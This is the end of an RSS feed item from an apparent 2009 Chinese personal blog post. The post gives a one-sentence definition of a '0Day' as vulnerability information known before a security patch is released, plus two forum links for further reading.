		<description><![CDATA[信息安全意义上的0Day是指在安全补丁发布前而被了解和掌握的漏洞信息。 更多信息可以参考 http://www.hacker.com.cn/forum/view_126674.html http://bbs.51cto.com/archiver/tid-137240.html]]></description>
			<content:encoded><![CDATA[<p>信息安全意义上的0Day是指在安全补丁发布前而被了解和掌握的漏洞信息。</p>
<p>更多信息可以参考</p>
<p>http://www.hacker.com.cn/forum/view_126674.html</p>
<p>http://bbs.51cto.com/archiver/tid-137240.html</p>
]]></content:encoded>
			<wfw:commentRss>http://www.panwenbin.com/2009/05/24/0day%e6%98%af%e4%bb%80%e4%b9%88%e6%84%8f%e6%80%9d/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

